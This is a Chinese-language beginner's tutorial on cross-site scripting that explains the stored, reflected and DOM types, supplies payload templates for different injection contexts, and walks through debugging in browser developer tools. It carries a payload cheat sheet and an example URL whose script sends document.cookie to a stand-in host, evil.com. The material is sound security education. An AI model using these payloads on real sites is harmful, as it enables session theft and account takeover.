📖 阅读指南:本文系统梳理了 XSS 攻击的完整知识体系,从基础概念到实操调试,适合 Web 安全初学者阅读。建议配合浏览器 F12 开发者工具边读边练。
什么是 XSS & 核心原理
XSS(Cross-Site Scripting,跨站脚本攻击) 是 Web 端最常见的安全漏洞之一。
简单来说,它的本质就是:攻击者通过某种方式,把恶意代码(通常是 JavaScript)注入到目标网页中。当普通用户浏览该网页时,浏览器会误以为这是网站本身的合法代码并直接执行。
ℹ️ 为了避免与 CSS(层叠样式表)缩写混淆,安全界特意将其缩写为 XSS。
一、XSS 的三大核心类型
根据恶意脚本的存储方式与触发路径,XSS 主要分为以下三种类型:
| 类型 | 危害程度 | 攻击机制 | 常见场景 |
|---|---|---|---|
| 存储型 (Stored XSS) | 🔴 高 | 恶意代码提交后被永久保存在服务端数据库。每当有其他用户访问该页面,服务器就会从数据库读取并返回恶意代码,导致所有访问者被攻击。 | 博客评论区、论坛留言、用户个人资料编辑 |
| 反射型 (Reflected XSS) | 🟡 中 | 经过服务器后端处理,恶意代码包含在 URL 请求参数中。服务器收到请求后,直接把参数"反射"回页面 HTML。必须诱骗目标用户主动点击恶意链接才能触发。 | 搜索框、带有 URL 参数的报错提示页面 |
| DOM 型 (DOM-based XSS) | 🟡 中 | 不经过服务器后端处理,而是前端 JS 代码在解析 URL(如 location.search 或 location.hash)时,不安全地直接修改了 DOM。 | 纯前端渲染的单页应用(SPA) |
📎 延伸:同步与异步
在编程和日常生活中,"异步"(Asynchronous) 的核心思想就是:不需要原地傻等一件耗时的事情做完,而是在等待的同时去干别的活;等那件耗时的事情好了,再通过某种机制回来处理结果。
与它相对的概念叫 "同步"(Synchronous),意思是:一件一件排队做,前一件事没做完,后一件事必须死等。同步代码指的是按顺序逐行执行,前一行没执行完前会阻塞后续解析的操作。
阻塞式页面渲染与即时触发
机制:当浏览器解析 HTML 文档时,一旦遇到 <script> 标签或内联事件,HTML 解析器会暂停构建 DOM 树,转而立刻执行该段 JavaScript 代码。
在 XSS 中的表现:
| 攻击方式 | 说明 |
|---|---|
| 内联脚本注入 | 攻击者注入 <script>alert(1)</script>,浏览器读取到该位置时会立即同步执行,页面在此期间是暂停渲染的。 |
| 页面劫持/重定向 | 利用同步的 window.location.href = 'http://evil.com',在页面尚未加载完用户内容前,同步打断当前页面流程,强行将用户重定向至恶意网站。 |
二、XSS 的核心:上下文混淆
XSS(跨站脚本攻击)攻击的本质在于**"上下文混淆"**:当应用程序将用户可控的数据未经充分过滤或转义,直接拼接并输出到 HTML 页面中时,浏览器会将其误认为是可执行的代码或指令。
了解 XSS 模板的核心逻辑,关键在于识别注入点在 HTML DOM 中处于什么上下文(Context)。根据上下文环境的不同,常见的注入 Payload 格式可细分为以下几类:
不同上下文下的标准 Payload 模板
1. 标签间注入 (HTML Body Context)
数据直接输出在 HTML 标签闭合处(如
<div>数据</div>)。
直接注入 <script> 标签:
<script>alert(1)</script>
借助带有事件回调的标签(常用 <img> 或 <svg>):
<!-- 触发图片加载失败事件 --> <img src="x" onerror="alert(1)"> <!-- SVG 标签在解析时即触发 onload --> <svg onload="alert(1)">
2. HTML 属性内注入 (Attribute Context)
数据输出在标签属性值中(如
<input value="数据">)。
模板 A:闭合属性与标签(跳出属性)
"><script>alert(1)</script> "><img src=x onerror=alert(1)>
模板 B:利用现有标签事件(无需闭合标签)
" onfocus="alert(1)" autofocus=" " onmouseover="alert(1)
模板 C:伪协议(适用于 href、src、action 等属性)
<a href="javascript:alert(1)">Click Me</a> <iframe src="javascript:alert(1)"></iframe>
3. JavaScript 脚本块内注入 (Script Context)
数据输出在
<script>内部(如<script> var name = "数据"; </script>)。
模板 A:闭合当前的 JavaScript 语句或闭合整段脚本
"; alert(1); // '; alert(1); // </script><script>alert(1)</script>
模板 B:利用 ES6 模板字符串(若输出在反引号 `数据` 内)
${alert(1)}
🎯 速查表:你的输入最终显示在哪里?
├── 在 <script> 标签内部 ──────→ 用 Quotes 闭合变量 (例如 "; alert(1); //) ├── 在 <a> 的 href 属性里 ─────→ 用 伪协议 (例如 javascript:alert(1)) ├── 在 普通属性 里 (如 value) ──→ 先用 "> 闭合属性,再接 <img> 或 <svg> └── 在 <div> 等标签文本间 ────→ 首选 <script>;若被拦截,换成 <img onerror> 或 <svg onload>
🚀 简洁版 Payload 收藏
<script>alert(1)</script> <img src=1 onerror=alert(1)> <svg onload=alert(1)/> <a href=javascript:alert(1)>xss</a>
三、深入理解:为什么需要"闭合"?
Q1:为什么要闭合?难道直接在后面添加 script 脚本不行吗?
这是因为 HTML 解析器在处理代码时,有着非常严格的语法规则。如果不闭合,你输入的脚本只会被浏览器当作普通文本数据处理,而根本不会被当作可执行的代码。
通过下面这个对比,就能一眼看懂原因:
假设场景
假设后端的渲染逻辑是把用户的输入放到 value 属性中:
<input type="text" value="[这里是用户的输入]">
情况一:❌ 不闭合,直接在后面加 <script>
如果你在搜索框直接输入:
<script>alert(1)</script>
最终生成的 HTML 页面代码是:
<input type="text" value="<script>alert(1)</script>">
浏览器是如何解读的?
浏览器从左往右解析 HTML。当它看到 <input type="text" value=" 时,它知道:接下来引号里的所有内容,全是这个输入框的文本值。
即使引号里面出现了 <script>,浏览器也会认为这只是用户想在文本框里显示的一串普通文字(就像有人在搜索框搜"如何写 script 标签"一样)。
🎯 结果:页面上成功展示了一个输入框,里面填着
<script>alert(1)</script>这一串字,没有任何弹窗触发。
情况二:✅ 进行了"闭合"操作
如果你输入的字符串是:
"> <script>alert(1)</script>
最终生成的 HTML 页面代码是:
<input type="text" value=""> <script>alert(1)</script> ">
浏览器是如何解读的?
- 浏览器看到
<input type="text" value=",开始读取属性值。 - 读到了你输入的第一个
",浏览器认为:value属性到此结束(闭合)! - 紧接着读到了
>,浏览器认为:<input>这个 HTML 标签到此完全结束(闭合)! - 接下来读到了
<script>alert(1)</script>:此时浏览器已经位于标签外部,它会判定这是一个独立的 JavaScript 代码块,于是立刻开始运行它!
🎯 结果:代码被成功执行(触发弹窗)。
四、反射型 vs DOM 型:深度辨析
Q2:反射型和 DOM 型有什么区别?反射型搜索框如何传导到受害者?
这两个类型确实最容易让人混淆,尤其是它们都会用到 URL 参数。
我们可以用 "厨房做菜" 来打个比方,秒懂它们的区别:
| 类型 | 类比 | 核心特征 |
|---|---|---|
| 反射型 | 客人(攻击者)把毒药写在菜谱上提交给后厨(后端服务器),后厨照单炒完菜送回前端,前端浏览器端出来吃了(触发攻击)。 | ⚠️ 经过服务器 |
| DOM 型 | 客人把毒药直接塞在桌上的调料瓶里,前厅服务员(前端 JS 脚本)在没查验的情况下直接拿来拌在菜里,用户吃了(触发攻击)。 | ✅ 不经过服务器 |
一、反射型 XSS:是怎么传导给受害者的?
很多人的疑问是:"我在搜索框里输入恶意代码,被攻击的不就是我自己的浏览器吗?怎么去攻击别人?"
答案是:攻击者不会自己去搜,而是构造一个带恶意参数的"特制链接",诱骗受害者去点击。
完整传导链路(5 步)
[攻击者] │ 1. 构造恶意链接 ▼ [受害者点击链接] ──── 2. 发送请求带恶意参数 ────→ [目标网站服务器] ▲ │ │ │ 3. 未过滤参数, │ │ 直接拼进HTML返回 └─────────── 4. 返回带恶意脚本的HTML ──────────────────┘ │ └─ 5. 受害者浏览器解析并执行脚本,Cookie/数据泄露!
真实场景举例
- 找到漏洞:攻击者发现某个电商网站
http://shop.com/search?keyword=的搜索框有反射型 XSS 漏洞。 - 精心构造 URL:攻击者把
keyword的值换成一段盗取 Cookie 的脚本,生成如下链接:
http://shop.com/search?keyword=<script>fetch('http://evil.com?c='+document.cookie)</script>
- 发送给受害者:攻击者把这个链接通过邮件、社群或伪装成"限时优惠卡券",发给普通用户小明。
- 小明点击链接:小明的浏览器向
shop.com发起请求。 - 服务器"中招"并反射:
shop.com的后端服务器收到请求,把keyword里的代码原封不动地渲染回页面,返回给小明的浏览器。 - 代码执行:小明的浏览器收到 HTML,以为这是
shop.com的正常内容,运行了里面的<script>,小明在shop.com的登录凭证(Cookie)就被发送给了攻击者。
⚠️ 关键点:反射型必须经过后端服务器把参数"反射"回 HTML 页面中。
二、DOM 型 XSS:它和反射型有什么不同?
DOM 型 XSS 完全发生在浏览器端(前端),服务器端甚至根本不知道这段恶意代码的存在。
为什么服务器会不知道?
在现代网页中,常用 #(Hash 锚点)或者前端 JavaScript 来处理页面变化。比如这个链接:
http://shop.com/index.html#name=<script>alert(1)</script>
URL 中的
#后面的内容不会发送给服务器,服务器收到的只是http://shop.com/index.html。
但是,前端的 JavaScript 可以读取到 # 后的内容(通过 location.hash)。
触发过程举例
假设网站前端写了这样一段不安全的 JS 代码:
// 1. 获取 URL 中 # 号后面的内容
var userName = location.hash.substring(1);
// 2. 不做任何转义,直接用 innerHTML 写进页面
document.getElementById('welcome').innerHTML = "欢迎你," + userName;
当受害者打开攻击者发来的链接 http://shop.com/index.html#<img src=x onerror=alert('DOM型XSS')> 时:
| 步骤 | 说明 |
|---|---|
| 请求发送给服务器 | 服务器只接收到 index.html,返回了普通的静态页面。 |
| 前端 JS 执行 | 浏览器加载完页面后,前端 JS 运行,读取了 location.hash 里的恶意代码。 |
| DOM 被破坏 | JS 把它用 innerHTML 插入到了页面中,浏览器执行了恶意脚本。 |
三、一张表搞清三者的本质区别
| 对比维度 | 存储型 XSS | 反射型 XSS | DOM 型 XSS |
|---|---|---|---|
| 恶意代码存在哪里? | 数据库/文件系统(服务端) | 攻击者发送的特制 URL 中 | 攻击者发送的特制 URL 中 |
| 是否经过服务器处理? | 是(保存到数据库,再读取输出) | 是(服务端直接拼接并返回) | ❌ 否(纯前端 JS 拼接 DOM) |
| 攻击载体 | 正常访问被污染的页面 | 点击恶意链接 | 点击恶意链接 |
| 防御重点 | 服务端入库过滤与出库转义 | 服务端输出转义 | 前端慎用 innerHTML、document.write 等不安全 API |
五、F12 实操调试:分析 DOM 上下文
Q3:如何在 F12 里实操分析 DOM 上下文?
在浏览器 F12(开发者工具)中定位输入的 DOM 上下文,本质上就是寻找**"你的输入被放置在 HTML 源码的什么结构里"**。
下面以 Chrome / Edge 为例,用一套标准的操作流程和实际场景,带你快速完成分析与 Payload 匹配。
一、实操分析 4 步走
第一步:发送唯一探针字符串 🎯
在目标输入框或 URL 参数中,提交一个容易被全局搜出的高辨识度字符串(探针),最好包含常见的特殊字符(用于测试是否被转义)。
🧪 推荐探针:
text test1234'"><
第二步:利用 F12 检索定位 🔍
- 按 F12(或右键 → 检查)打开开发者工具。
- 快捷键 Ctrl + F(Mac 上为 Cmd + F),输入你的探针字符串
test1234。 - 检查匹配到的所有位置(注意区分是服务器渲染的 HTML 还是 JS 变量,或是后续动态生成的 DOM)。
第三步:分析探针的 DOM 结构(上下文)📋
定位到输入点后,查看探针被哪个标签、属性或脚本块包裹:
| 检查项 | 分析要点 |
|---|---|
| 看转义情况 | 探针里的 ' " < > 是否被变成了 ' " < >?如果全部被转义为实体字符,且不在 javascript: 属性或未经过 DOM 渲染,通常说明过滤有效。 |
| 看闭合需求 | 探针的前后紧挨着什么符号? |
闭合需求速查:
| 探针所在位置 | 闭合方法 |
|---|---|
在 "..." 内 | 需要用 " 闭合 |
在 <div>...</div> 内 | 不需要闭合属性,但可能需要闭合其他标签 |
在 <script>var a='...';</script> 内 | 需要用 ' 闭合变量,或用 </script> 闭合整个脚本块 |
第四步:构造 Payload 并验证 ✅
根据闭合逻辑拼接代码,提交后再回 F12 观察:你的 Payload 是否成功破坏了原本的 HTML 结构,并独立成为了一个新的标签或执行语句?
二、常见 DOM 上下文实操图解
场景 1:标签文本间上下文
F12 看到的渲染效果:
<p>搜索结果:test1234'"><</p>
- 上下文分析:处于
<p>标签之间,且<被转义,但如果直接输入新的标签无阻碍。 - 测试 Payload:
<script>alert(1)</script>或<svg onload=alert(1)>
✅ 成功突破后的 DOM 结构:
<p>搜索结果:<svg onload=alert(1)></p>
场景 2:HTML 属性上下文
F12 看到的渲染效果:
<input type="text" name="user" value="test1234'"><">
- 上下文分析:探针落在了
value="..."的双引号内部。 - 构造逻辑:需要先用
"闭合前面的value属性,再用>闭合整个<input>标签,最后接新标签。 - 测试 Payload:
"><img src=x onerror=alert(1)>
✅ 成功突破后的 DOM 结构:
<input type="text" name="user" value=""><img src=x onerror=alert(1)">">
场景 3:JavaScript 脚本块上下文
F12 看到的渲染效果:
<script>
var searchKeyword = "test1234'"><";
console.log(searchKeyword);
</script>
- 上下文分析:处于双引号包裹的 JS 字符串变量中。
构造逻辑:
| 方案 | 方法 | 原理 |
|---|---|---|
| 方案 A | 闭合 JS 语句 | 用 " 闭合变量,用 ; 隔开,写 JS 代码,再用 // 注释掉后面的双引号。 |
| 方案 B | 直接标签截断 | HTML 解析器的优先级高于 JS 解析器。直接用 </script> 可以强制终止当前脚本块! |
测试 Payload:
- 方案 A:
"; alert(1); // - 方案 B:
</script><script>alert(1)</script>
✅ 成功突破后的 DOM 结构(以方案 A 为例):
<script>
var searchKeyword = ""; alert(1); //";
console.log(searchKeyword);
</script>
场景 4:URL / 属性伪协议上下文
F12 看到的渲染效果:
<a href="test1234'"><">点击查看个人主页</a>
- 上下文分析:探针落在了
<a>标签的href属性中。 - 构造逻辑:当点击该链接时,浏览器会解析
href里的协议头。直接使用javascript:伪协议即可,不需要任何闭合符号(除非有引号包裹干扰)。 - 测试 Payload:
javascript:alert(1)
✅ 成功突破后的 DOM 结构:
<a href="javascript:alert(1)">点击查看个人主页</a>
三、F12 调试小技巧 🛠️
利用 Elements 面板 vs Sources 面板
| 面板 | 显示内容 |
|---|---|
| Elements(元素) | 显示的是浏览器解析并渲染后的最终 DOM 树。 |
| Network / Sources(源码) | 显示的是服务器返回的原始 HTML 响应。 |
💡 技巧:如果 Sources 里有你的 Payload 但 Elements 里没有触发,说明可能是前端 JS(如 React/Vue)对数据做了二次安全处理。
使用 Console(控制台)验证
如果你不确定某个 DOM 节点是通过什么 JS 逻辑渲染的,可以在 Elements 面板选中该节点,然后在 Console 里输入 $0($0 代表当前选中的 DOM 元素),直接调出进行调试。
总结
本文从 XSS 的基本概念出发,逐步深入到:
- 三大核心类型(存储型 / 反射型 / DOM 型)及其对比
- 上下文混淆的核心原理,以及不同 DOM 上下文下的 Payload 模板
- "闭合" 的必要性 —— 为什么必须跳出原有结构才能执行代码
- 反射型 vs DOM 型 的深度辨析,包括完整的攻击传导链路
- F12 实操调试的标准化流程和常见场景图解
掌握这些知识后,你就能:
- 🎯 准确判断 XSS 漏洞的类型和触发条件
- 🛠️ 针对不同上下文构造有效的 Payload
- 🔍 使用浏览器开发者工具有条理地分析和验证漏洞
⚠️ 声明:本文仅供安全学习与研究使用,请勿将相关技术用于非法用途。
评论区
评论加载中...